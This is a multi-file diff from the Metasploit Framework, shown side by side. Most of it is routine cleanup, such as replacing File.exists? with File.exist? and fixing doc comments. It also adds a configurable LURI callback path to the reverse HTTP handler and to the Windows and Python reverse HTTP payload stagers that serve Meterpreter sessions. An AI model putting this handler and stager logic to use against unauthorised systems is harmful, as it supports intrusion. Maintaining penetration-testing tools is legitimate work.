unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs)) unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs))
# if it exists but we can't write to it, give up # if it exists but we can't write to it, give up
raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}") raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}")
@ -198,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
Dir.entries(@import_filedata[:zip_tmp]).each do |entry| Dir.entries(@import_filedata[:zip_tmp]).each do |entry|
if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/
manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME)
if File.exists? manifest_file_path if File.exist? manifest_file_path
import_msf_cred_dump(manifest_file_path, wspace) import_msf_cred_dump(manifest_file_path, wspace)
end end
end end

View File

@ -196,8 +196,8 @@ module Msf::DBManager::Import::Nexpose::Raw
# Takes an array of vuln hashes, as returned by the NeXpose rawxml stream # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream
# parser, like: # parser, like:
# [ # [
# {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} # "id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>["source"=>"BID", "value"=>"10600", ...]
# {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} # "id"=>"windows-zotob-c", severity="8", "refs"=>["source"=>"BID", "value"=>"14513", ...]
# ] # ]
# and transforms it into a struct, containing :id, :refs, :title, and :severity # and transforms it into a struct, containing :id, :refs, :title, and :severity
# #
@ -227,4 +227,4 @@ module Msf::DBManager::Import::Nexpose::Raw
end end
return ret return ret
end end
end end

View File

@ -329,7 +329,7 @@ module Msf::DBManager::ModuleCache
next next
end end
unless md.file and ::File.exists?(md.file) unless md.file and ::File.exist?(md.file)
refresh << md refresh << md
next next
end end

View File

@ -23,7 +23,7 @@ module Msf::DBManager::Report
created = opts.delete(:created_at) created = opts.delete(:created_at)
updated = opts.delete(:updated_at) updated = opts.delete(:updated_at)
unless File.exists? tmp_path unless File.exist? tmp_path
raise Msf::DBImportError 'Report artifact file to be imported does not exist.' raise Msf::DBImportError 'Report artifact file to be imported does not exist.'
end end
@ -31,7 +31,7 @@ module Msf::DBManager::Report
raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}." raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}."
end end
if File.exists? new_path if File.exist? new_path
unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}" unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}"
new_path = File.join(artifacts_dir, unique_basename) new_path = File.join(artifacts_dir, unique_basename)
end end

View File

@ -33,7 +33,7 @@ module Msf::DBManager::Session
# :session host is contained. Also used as the workspace for the # :session host is contained. Also used as the workspace for the
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with # Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
# Mdm::Workspace#name equal to +session.workspace+. # Mdm::Workspace#name equal to +session.workspace+.
# @return [nil] if {Msf::DBManager#active} is +false+. # @return [nil] if Msf::DBManager#active is +false+.
# @return [Mdm::Session] if session is saved # @return [Mdm::Session] if session is saved
# @raise [ArgumentError] if :session is not an {Msf::Session}. # @raise [ArgumentError] if :session is not an {Msf::Session}.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
@ -68,7 +68,7 @@ module Msf::DBManager::Session
# exploit that was used to open the session. # exploit that was used to open the session.
# @option option [String] :via_payload the {MSf::Module#fullname} of the # @option option [String] :via_payload the {MSf::Module#fullname} of the
# payload sent to the host when the exploit was successful. # payload sent to the host when the exploit was successful.
# @return [nil] if {Msf::DBManager#active} is +false+. # @return [nil] if Msf::DBManager#active is +false+.
# @return [Mdm::Session] if session is saved. # @return [Mdm::Session] if session is saved.
# @raise [ArgumentError] if :host is not an Mdm::Host. # @raise [ArgumentError] if :host is not an Mdm::Host.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
@ -103,7 +103,7 @@ module Msf::DBManager::Session
protected protected
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record} # @param session [Msf::Session] A session with a db_record Msf::Session#db_record
# @param wspace [Mdm::Workspace] # @param wspace [Mdm::Workspace]
# @return [void] # @return [void]
def infer_vuln_from_session(session, wspace) def infer_vuln_from_session(session, wspace)

View File

@ -537,7 +537,7 @@ protected
# #
def find_context_key(buf, badchars, state) def find_context_key(buf, badchars, state)
# Make sure our context information file is sane # Make sure our context information file is sane
if !File.exists?(datastore['ContextInformationFile']) if !File.exist?(datastore['ContextInformationFile'])
raise NoKeyError, "A context information file must specified when using context encoding", caller raise NoKeyError, "A context information file must specified when using context encoding", caller
end end

View File

@ -409,8 +409,8 @@ module Msf
# Checks if the module is multi-platform based on the directory path. # Checks if the module is multi-platform based on the directory path.
# #
# @param m [Object] Module. # @param m [Object] Module.
# @return Module [TrueClass] is multi-platform. # @return [TrueClass] is multi-platform.
# @return Module [FalseClass] is not multi-platform. # @return [FalseClass] is not multi-platform.
def is_multi_platform_exploit?(m) def is_multi_platform_exploit?(m)
m.fullname.include?('multi/') m.fullname.include?('multi/')
end end

View File

@ -110,7 +110,7 @@ module Msf
cap = datastore['PCAPFILE'] || '' cap = datastore['PCAPFILE'] || ''
if (not cap.empty?) if (not cap.empty?)
if (not File.exists?(cap)) if (not File.exist?(cap))
raise RuntimeError, "The PCAP file #{cap} could not be found" raise RuntimeError, "The PCAP file #{cap} could not be found"
end end
self.capture = ::Pcap.open_offline(cap) self.capture = ::Pcap.open_offline(cap)
@ -216,7 +216,7 @@ module Msf
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
end end
if (not File.exists?(pcap_file)) if (not File.exist?(pcap_file))
raise RuntimeError, "The PCAP file #{pcap_file} could not be found" raise RuntimeError, "The PCAP file #{pcap_file} could not be found"
end end

View File

@ -47,7 +47,7 @@ module Exploit::Java
end end
toolsjar = File.join(ENV['JAVA_HOME'], "lib", "tools.jar") toolsjar = File.join(ENV['JAVA_HOME'], "lib", "tools.jar")
if (not File.exists? toolsjar) if (not File.exist? toolsjar)
raise RuntimeError, 'JAVA_HOME does not point to a valid JDK installation.' raise RuntimeError, 'JAVA_HOME does not point to a valid JDK installation.'
end end
@ -69,7 +69,7 @@ module Exploit::Java
def save_to_file(classnames, codez, location) def save_to_file(classnames, codez, location)
path = File.join( Msf::Config.install_root, "external", "source", location ) path = File.join( Msf::Config.install_root, "external", "source", location )
if not File.exists? path if not File.exist? path
Dir.mkdir(path) Dir.mkdir(path)
end end
@ -96,7 +96,7 @@ module Exploit::Java
compile_options = [] if compile_options.nil? compile_options = [] if compile_options.nil?
# Create the directory if it doesn't exist # Create the directory if it doesn't exist
Dir.mkdir(datastore['JavaCache']) if !File.exists? datastore['JavaCache'] Dir.mkdir(datastore['JavaCache']) if !File.exist? datastore['JavaCache']
# For compatibility, some exploits need to have the target and source version # For compatibility, some exploits need to have the target and source version
# set to a previous JRE version. # set to a previous JRE version.
@ -157,7 +157,7 @@ module Exploit::Java
# Check if the keystore exists from previous run. If it does, delete it. # Check if the keystore exists from previous run. If it does, delete it.
msf_keystore = File.join(datastore['JavaCache'], msf_keystore) msf_keystore = File.join(datastore['JavaCache'], msf_keystore)
File.delete msf_keystore if File.exists? msf_keystore File.delete msf_keystore if File.exist? msf_keystore
# Rjb pukes on a CN with a comma in it so bad that it crashes to shell # Rjb pukes on a CN with a comma in it so bad that it crashes to shell
# and turns input echoing off. Simple fix for this ugly bug is # and turns input echoing off. Simple fix for this ugly bug is

View File

@ -167,7 +167,13 @@ module Exploit::Remote::Postgres
when "C42883" when "C42883"
sql_error_msg += " Function does not exist: '#{sql}'" sql_error_msg += " Function does not exist: '#{sql}'"
else # Let the user figure out the rest. else # Let the user figure out the rest.
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}" if e == Timeout::Error
sql_error_msg = 'Execution expired'
elsif sql_error_msg.nil?
sql_error_msg = e.inspect
else
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
end
end end
return {:sql_error => sql_error_msg} return {:sql_error => sql_error_msg}
end end

View File

@ -73,10 +73,10 @@ module Msf
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;", 'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case. # :activex is a special case.
# When you set this requirement in your module, this is how it should be: # When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}] # [:clsid=>'String', :method=>'String']
# Where each Hash is a test case # Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format: # But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;" # "CLSID=>Method=>Boolean;"
# Also see: #has_bad_activex? # Also see: #has_bad_activex?
'activex' 'activex'
]) ])
@ -216,7 +216,7 @@ module Msf
# Returns true if there's a bad ActiveX, otherwise false. # Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format: # @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;" # "CLSID=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false # @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax) def has_bad_activex?(ax)
ax.to_s.split(';').each do |a| ax.to_s.split(';').each do |a|

View File

@ -46,7 +46,8 @@ module ReverseHttp
register_options( register_options(
[ [
OptString.new('LHOST', [true, 'The local listener hostname']), OptString.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080]) OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp) ], Msf::Handler::ReverseHttp)
register_advanced_options( register_advanced_options(
@ -65,7 +66,8 @@ module ReverseHttp
def print_prefix def print_prefix
if Thread.current[:cli] if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) " luri = datastore['LURI'].empty? ? "" : "-> (#{datastore['LURI']}) "
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}#{luri}; (UUID: #{uuid.to_s}) "
else else
super super
end end
@ -76,7 +78,7 @@ module ReverseHttp
# @return [String] A URI of the form +scheme://host:port/+ # @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['LHOST']) def listener_uri(addr=datastore['LHOST'])
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/" "#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
end end
# Return a URI suitable for placing in a payload. # Return a URI suitable for placing in a payload.
@ -103,10 +105,10 @@ module ReverseHttp
callback_host = "#{callback_name}:#{callback_port}" callback_host = "#{callback_name}:#{callback_port}"
end end
"#{scheme}://#{callback_host}/" "#{scheme}://#{callback_host}"
end end
# Use the {#refname} to determine whether this handler uses SSL or not # Use the #refname to determine whether this handler uses SSL or not
# #
def ssl? def ssl?
!!(self.refname.index('https')) !!(self.refname.index('https'))
@ -120,6 +122,27 @@ module ReverseHttp
(ssl?) ? 'https' : 'http' (ssl?) ? 'https' : 'http'
end end
#
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
#
def luri
l = datastore['LURI'] || ""
if l && l.length > 0 && l[0] != '/'
# make sure the luri has the prefix
l = "/#{l}"
# but not the suffix
if l[-1] == '/'
l = l[0...-1]
end
end
l.dup
end
# Create an HTTP listener # Create an HTTP listener
# #
def setup_handler def setup_handler
@ -158,7 +181,7 @@ module ReverseHttp
obj = self obj = self
# Add the new resource # Add the new resource
service.add_resource("/", service.add_resource(luri + "/",
'Proc' => Proc.new { |cli, req| 'Proc' => Proc.new { |cli, req|
on_request(cli, req, obj) on_request(cli, req, obj)
}, },
@ -178,7 +201,7 @@ module ReverseHttp
# #
def stop_handler def stop_handler
if self.service if self.service
self.service.remove_resource('/') self.service.remove_resource(luri + "/")
if self.service.resources.empty? && self.sessions == 0 if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service) Rex::ServiceManager.stop_service(self.service)
end end
@ -241,12 +264,15 @@ protected
uuid.arch ||= obj.arch uuid.arch ||= obj.arch
uuid.platform ||= obj.platform uuid.platform ||= obj.platform
conn_id = nil conn_id = luri
if info[:mode] && info[:mode] != :connect if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id[0...-1] if conn_id[-1] == '/'
end end
request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'" request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
@ -281,7 +307,7 @@ protected
resp.body = pkt.to_r resp.body = pkt.to_r
when :init_python when :init_python
print_status("Staging Python payload ...") print_status("Staging Python payload...")
url = payload_uri(req) + conn_id + '/' url = payload_uri(req) + conn_id + '/'
blob = "" blob = ""
@ -310,7 +336,7 @@ protected
}) })
when :init_java when :init_java
print_status("Staging Java payload ...") print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
blob = obj.generate_stage( blob = obj.generate_stage(
@ -334,7 +360,7 @@ protected
}) })
when :init_native when :init_native
print_status("Staging Native payload ...") print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id) uri = URI(payload_uri(req) + conn_id)
@ -370,16 +396,18 @@ protected
end end
when :connect when :connect
print_status("Attaching orphaned/stageless session ...") print_status("Attaching orphaned/stageless session...")
resp.body = '' resp.body = ''
conn_id = req.relative_resource
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Short-circuit the payload's handle_connection processing for create_session # Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { create_session(cli, {
:passive_dispatcher => obj.service, :passive_dispatcher => obj.service,
:conn_id => conn_id, :conn_id => conn_id,
:url => payload_uri(req) + conn_id + "/\x00", :url => url + "\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i,
@ -392,16 +420,14 @@ protected
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}") print_status("Unknown request to #{request_summary}")
end end
resp.code = 200 resp = nil
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1 self.pending_connections -= 1
end end
cli.send_response(resp) if (resp) cli.send_response(resp) if (resp)
# Force this socket to be closed # Force this socket to be closed
obj.service.close_client( cli ) obj.service.close_client(cli)
end end
end end

View File

@ -183,8 +183,8 @@ class Msf::ModuleSet < Hash
# @option info [Array<String>] 'files' List of paths to files that defined # @option info [Array<String>] 'files' List of paths to files that defined
# +klass+. # +klass+.
# @return [Class] The klass parameter modified to have # @return [Class] The klass parameter modified to have
# {Msf::Module#framework}, {Msf::Module#refname}, {Msf::Module#file_path}, # Msf::Module.framework, Msf::Module#refname, Msf::Module#file_path,
# and {Msf::Module#orig_cls} set. # and Msf::Module#orig_cls set.
def add_module(klass, reference_name, info = {}) def add_module(klass, reference_name, info = {})
# Set the module's reference_name so that it can be referenced when # Set the module's reference_name so that it can be referenced when
# instances are created. # instances are created.

View File

@ -418,7 +418,7 @@ class Msf::Modules::Loader::Base
# Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log. # Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log.
# #
# @param [String] module_path Path to the module as returned by {#module_path}. # @param [String] module_path Path to the module as returned by {#module_path}.
# @param [String] Error message that caused the warning. # @param [String] error Error message that caused the warning.
# @return [void] # @return [void]
# #
# @see #module_path # @see #module_path

View File

@ -20,7 +20,7 @@ class OptAddressRange < OptBase
return nil unless value.kind_of?(String) return nil unless value.kind_of?(String)
if (value =~ /^file:(.*)/) if (value =~ /^file:(.*)/)
path = $1 path = $1
return false if not File.exists?(path) or File.directory?(path) return false if not File.exist?(path) or File.directory?(path)
return File.readlines(path).map{ |s| s.strip}.join(" ") return File.readlines(path).map{ |s| s.strip}.join(" ")
elsif (value =~ /^rand:(.*)/) elsif (value =~ /^rand:(.*)/)
count = $1.to_i count = $1.to_i

View File

@ -23,7 +23,7 @@ class OptPath < OptBase
if value =~ /^memory:\s*([0-9]+)/i if value =~ /^memory:\s*([0-9]+)/i
return false unless check_memory_location($1) return false unless check_memory_location($1)
else else
unless File.exists?(value) unless File.exist?(value)
return false return false
end end
end end

View File

@ -48,6 +48,7 @@ module Payload::Python::ReverseHttp
target_url << ':' target_url << ':'
target_url << opts[:port].to_s target_url << opts[:port].to_s
target_url << luri
target_url << generate_callback_uri(opts) target_url << generate_callback_uri(opts)
target_url target_url
end end
@ -56,7 +57,7 @@ module Payload::Python::ReverseHttp
# Return the longest URI that fits into our available space # Return the longest URI that fits into our available space
# #
def generate_callback_uri(opts={}) def generate_callback_uri(opts={})
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't have enough space # Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space if self.available_space.nil? || required_space > self.available_space

View File

@ -50,7 +50,7 @@ module Msf::Payload::TransportConfig
unless uri unless uri
type = opts[:stageless] == true ? :init_connect : :connect type = opts[:stageless] == true ? :init_connect : :connect
sum = uri_checksum_lookup(type) sum = uri_checksum_lookup(type)
uri = generate_uri_uuid(sum, opts[:uuid]) uri = luri + generate_uri_uuid(sum, opts[:uuid])
end end
{ {

View File

@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp
# Add extra options if we have enough space # Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent'] conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = datastore['PayloadProxyHost']
@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp
conf[:proxy_type] = datastore['PayloadProxyType'] conf[:proxy_type] = datastore['PayloadProxyType']
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:url] = generate_small_uri conf[:url] = luri + generate_small_uri
end end
generate_reverse_http(conf) generate_reverse_http(conf)
@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp
# Choose a random URI length between 30 and 255 bytes # Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0 if uri_req_len == 0
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end end
if uri_req_len < 5 if uri_req_len < 5

View File

@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
# add extended options if we do have enough space # add extended options if we do have enough space
unless self.available_space.nil? || required_space > self.available_space unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent'] conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = datastore['PayloadProxyHost']
@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64
conf[:proxy_type] = datastore['PayloadProxyType'] conf[:proxy_type] = datastore['PayloadProxyType']
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:url] = generate_small_uri conf[:url] = luri + generate_small_uri
end end
generate_reverse_http(conf) generate_reverse_http(conf)
@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64
# Choose a random URI length between 30 and 255 bytes # Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0 if uri_req_len == 0
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end end
if uri_req_len < 5 if uri_req_len < 5

View File

@ -53,7 +53,7 @@ class Msf::Post < Msf::Module
mod mod
end end
# This method returns the ID of the {Mdm::Session} that the post module # This method returns the ID of the Mdm::Session that the post module
# is currently running against. # is currently running against.
# #
# @return [NilClass] if there is no database record for the session # @return [NilClass] if there is no database record for the session

View File

@ -57,7 +57,7 @@ module Msf::Post::Common
# For example: you can use a python meterpreter on a Windows platform, and you will # For example: you can use a python meterpreter on a Windows platform, and you will
# get 'python/python' as your arch/platform, and not 'x86/win32'. # get 'python/python' as your arch/platform, and not 'x86/win32'.
# #
# @returns [String] The archtecture recognizable by framework's ARCH_TYPES. # @return [String] The archtecture recognizable by framework's ARCH_TYPES.
def get_target_arch def get_target_arch
arch = nil arch = nil
@ -338,4 +338,3 @@ module Msf::Post::Common
end end
end end

View File

@ -136,6 +136,8 @@ module Msf::Post::File
end end
end end
alias :exists? :exist?
# #
# Writes a given string to a given local file # Writes a given string to a given local file
# #
@ -143,7 +145,7 @@ module Msf::Post::File
# @param data [String] # @param data [String]
# @return [void] # @return [void]
def file_local_write(local_file_name, data) def file_local_write(local_file_name, data)
unless ::File.exists?(local_file_name) unless ::File.exist?(local_file_name)
::FileUtils.touch(local_file_name) ::FileUtils.touch(local_file_name)
end end
@ -160,7 +162,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name # @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents # @return [String] Hex digest of file contents
def file_local_digestmd5(local_file_name) def file_local_digestmd5(local_file_name)
if ::File.exists?(local_file_name) if ::File.exist?(local_file_name)
require 'digest/md5' require 'digest/md5'
chksum = nil chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
@ -191,7 +193,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name # @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents # @return [String] Hex digest of file contents
def file_local_digestsha1(local_file_name) def file_local_digestsha1(local_file_name)
if ::File.exists?(local_file_name) if ::File.exist?(local_file_name)
require 'digest/sha1' require 'digest/sha1'
chksum = nil chksum = nil
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
@ -222,7 +224,7 @@ module Msf::Post::File
# @param local_file_name [String] Local file name # @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents # @return [String] Hex digest of file contents
def file_local_digestsha2(local_file_name) def file_local_digestsha2(local_file_name)
if ::File.exists?(local_file_name) if ::File.exist?(local_file_name)
require 'digest/sha2' require 'digest/sha2'
chksum = nil chksum = nil
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})

View File

@ -79,7 +79,7 @@ module UserProfiles
read_profile_list().each do |hive| read_profile_list().each do |hive|
hive['OURS']=false hive['OURS']=false
if hive['LOADED']== false if hive['LOADED']== false
if session.fs.file.exists?(hive['DAT']) if session.fs.file.exist?(hive['DAT'])
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT']) hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS'] print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
else else

View File

@ -30,7 +30,7 @@ class RPC_Plugin < RPC_Base
# If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base # If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
if not File.exists?( path + ".rb" ) if not File.exist?( path + ".rb" )
# If the following "path" doesn't exist it will be caught when we attempt to load # If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end end

View File

@ -249,7 +249,7 @@ class Core
args.each do |res| args.each do |res|
good_res = nil good_res = nil
if ::File.exists?(res) if ::File.exist?(res)
good_res = res good_res = res
elsif elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed) # let's check to see if it's in the scripts/resource dir (like when tab completed)
@ -258,7 +258,7 @@ class Core
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir| ].each do |dir|
res_path = dir + ::File::SEPARATOR + res res_path = dir + ::File::SEPARATOR + res
if ::File.exists?(res_path) if ::File.exist?(res_path)
good_res = res_path good_res = res_path
break break
end end
@ -1254,7 +1254,7 @@ class Core
# If the plugin isn't in the user directory (~/.msf3/plugins/), use the base # If the plugin isn't in the user directory (~/.msf3/plugins/), use the base
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
if not File.exists?( path + ".rb" ) if not File.exist?( path + ".rb" )
# If the following "path" doesn't exist it will be caught when we attempt to load # If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end end
@ -3291,7 +3291,7 @@ class Core
# Determines if this is an apt-based install # Determines if this is an apt-based install
def is_apt def is_apt
File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) File.exist?(File.expand_path(File.join(Msf::Config.install_root, '.apt')))
end end
# Determines if we're a Metasploit Pro/Community/Express # Determines if we're a Metasploit Pro/Community/Express

View File

@ -1469,7 +1469,7 @@ class Db
print_error("Can't make loot with no filename") print_error("Can't make loot with no filename")
return return
end end
if (!File.exists?(filename) or !File.readable?(filename)) if (!File.exist?(filename) or !File.readable?(filename))
print_error("Can't read file") print_error("Can't read file")
return return
end end
@ -1979,13 +1979,13 @@ class Db
return return
end end
if (args[0] == "-y") if (args[0] == "-y")
if (args[1] and not ::File.exists? ::File.expand_path(args[1])) if (args[1] and not ::File.exist? ::File.expand_path(args[1]))
print_error("File not found") print_error("File not found")
return return
end end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
file = ::File.expand_path(file) file = ::File.expand_path(file)
if (::File.exists? file) if (::File.exist? file)
db = YAML.load(::File.read(file))['production'] db = YAML.load(::File.read(file))['production']
framework.db.connect(db) framework.db.connect(db)

View File

@ -220,7 +220,7 @@ class Driver < Msf::Ui::Driver
if opts['Resource'].blank? if opts['Resource'].blank?
# None given, load the default # None given, load the default
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc') default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
load_resource(default_resource) if ::File.exists?(default_resource) load_resource(default_resource) if ::File.exist?(default_resource)
else else
opts['Resource'].each { |r| opts['Resource'].each { |r|
load_resource(r) load_resource(r)
@ -279,7 +279,7 @@ class Driver < Msf::Ui::Driver
fname = ::File.join(@junit_output_path, "#{bname}.xml") fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0 cnt = 0
while ::File.exists?( fname ) while ::File.exist?( fname )
cnt += 1 cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml") fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end end
@ -314,7 +314,7 @@ class Driver < Msf::Ui::Driver
# Generate the output path, allow multiple test with the same name # Generate the output path, allow multiple test with the same name
fname = ::File.join(@junit_output_path, "#{bname}.xml") fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0 cnt = 0
while ::File.exists?( fname ) while ::File.exist?( fname )
cnt += 1 cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml") fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end end
@ -416,7 +416,7 @@ class Driver < Msf::Ui::Driver
if path == '-' if path == '-'
resource_file = $stdin.read resource_file = $stdin.read
path = 'stdin' path = 'stdin'
elsif ::File.exists?(path) elsif ::File.exist?(path)
